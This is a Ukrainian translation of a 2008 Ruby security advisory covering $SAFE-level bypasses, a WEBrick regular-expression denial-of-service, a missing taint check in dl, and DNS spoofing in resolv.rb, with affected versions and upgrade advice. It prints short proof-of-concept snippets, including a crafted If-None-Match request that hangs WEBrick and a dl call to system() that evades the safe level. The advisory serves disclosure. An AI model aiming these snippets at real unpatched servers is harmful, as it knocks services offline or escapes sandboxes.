Кілька вразливостей у Ruby

Опублікував Shugo Maeda 08-08-2008
Переклав: Andrii Furmanets

Виявлено кілька вразливостей у Ruby. Рекомендується оновлюватися до останніх версій.

Деталі

Виявлено наступні вразливості.

Кілька вразливостей у рівні безпеки

Виявлено кілька вразливостей у рівні безпеки.

  • untrace_var дозволено на рівні безпеки 4.

    trace_var(:$VAR) {|val| puts "$VAR = #{val}" }
    
    Thread.new do
     $SAFE = 4
     eval %q{
       proc = untrace_var :$VAR
       proc.first.call("aaa")
     }
    end.join
    
  • $PROGRAM_NAME може бути змінено на рівні безпеки 4.

    Thread.new do
     $SAFE = 4
     eval %q{$PROGRAM_NAME.replace "Hello, World!"}
    end.join
    
    $PROGRAM_NAME #=> "Hello, World!"
    
  • Небезпечні методи можуть викликатися на рівні безпеки 1-3.

    class Hello
     def world
       Thread.new do
         $SAFE = 4
         msg = "Hello, World!"
         def msg.size
           self.replace self*10 # replace string
           1 # return wrong size
         end
         msg
       end.value
     end
    end
    
    $SAFE = 1 # or 2, or 3
    s = Hello.new.world
    if s.kind_of?(String)
     puts s if s.size < 20 # print string which size is less than 20
    end
    
  • Операції Syslog дозволені на рівні безпеки 4.

    require "syslog"
    
    Syslog.open
    
    Thread.new do
     $SAFE = 4
     eval %q{
       Syslog.log(Syslog::LOG_WARNING, "Hello, World!")
       Syslog.mask = Syslog::LOG_UPTO(Syslog::LOG_EMERG)
       Syslog.info("masked")
       Syslog.close
     }
    end.join
    

Ці вразливості повідомлено Keita Yamaguchi.

Вразливість DoS у WEBrick

WEBrick::HTTP::DefaultFileHandler має помилку експоненційного часу при запитах через регулярний вираз з поверненням у WEBrick::HTTPUtils.split_header_value.

Експлойтований сервер:

require 'webrick'
WEBrick::HTTPServer.new(:Port => 2000, :DocumentRoot => "/etc").start

Атака:

require 'net/http'
res = Net::HTTP.start("localhost", 2000) { |http|
  req = Net::HTTP::Get.new("/passwd")
  req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100
  http.request(req)
}
p res

Запит, ймовірно, не завершиться в цьому всесвіті.

Цю вразливість повідомлено Christian Neukirchen.

Відсутність перевірки taintness у dl

dl не перевіряє taintness, тому це може дозволити зловмисникам викликати небезпечні функції.

require 'dl'
$SAFE = 1
h = DL.dlopen(nil)
sys = h.sym('system', 'IP')
uname = 'uname -rs'.taint
sys[uname]

Цю вразливість повідомлено sheepman.

Вразливість підробки DNS у resolv.rb

resolv.rb дозволяє віддаленим зловмисникам підробляти відповіді DNS. Цей ризик може бути зменшений випадковістю ID транзакцій DNS та вихідних портів, тому resolv.rb виправлено для рандомізації їх.

Цю вразливість повідомлено Tanaka Akira.

Вразливі версії

Серія 1.8
  • 1.8.5 та всі попередні версії
  • 1.8.6-p286 та всі попередні версії
  • 1.8.7-p71 та всі попередні версії
Серія 1.9
  • r18423 та всі попередні ревізії

Рішення

Серія 1.8
Будь ласка, оновіться до 1.8.6-p287, або 1.8.7-p72.
Серія 1.9

Будь ласка, виконайте checkout останньої версії, використовуючи Subversion.

$ svn co https://svn.ruby-lang.org/repos/ruby/trunk ruby

Будь ласка, зверніть увагу, що пакет, який виправляє цю слабкість, може вже бути доступний через ваше програмне забезпечення управління пакетами.

Подяка

Подяка Keita Yamaguchi, Christian Neukirchen, sheepman, та Tanaka Akira за розкриття цих проблем команді безпеки Ruby.

Зміни

Останні новини

Вийшов Ruby 3.2.11

Вийшов Ruby 3.2.11. Цей реліз містить оновлення gem zlib, яке усуває CVE-2026-27820.

Опублікував hsbt 27-03-2026

Вийшов Ruby 3.3.11

Вийшов Ruby 3.3.11. Цей реліз містить оновлення gem zlib, яке усуває CVE-2026-27820, а також кілька виправлень помилок.

Опублікував hsbt 26-03-2026

Більше новин...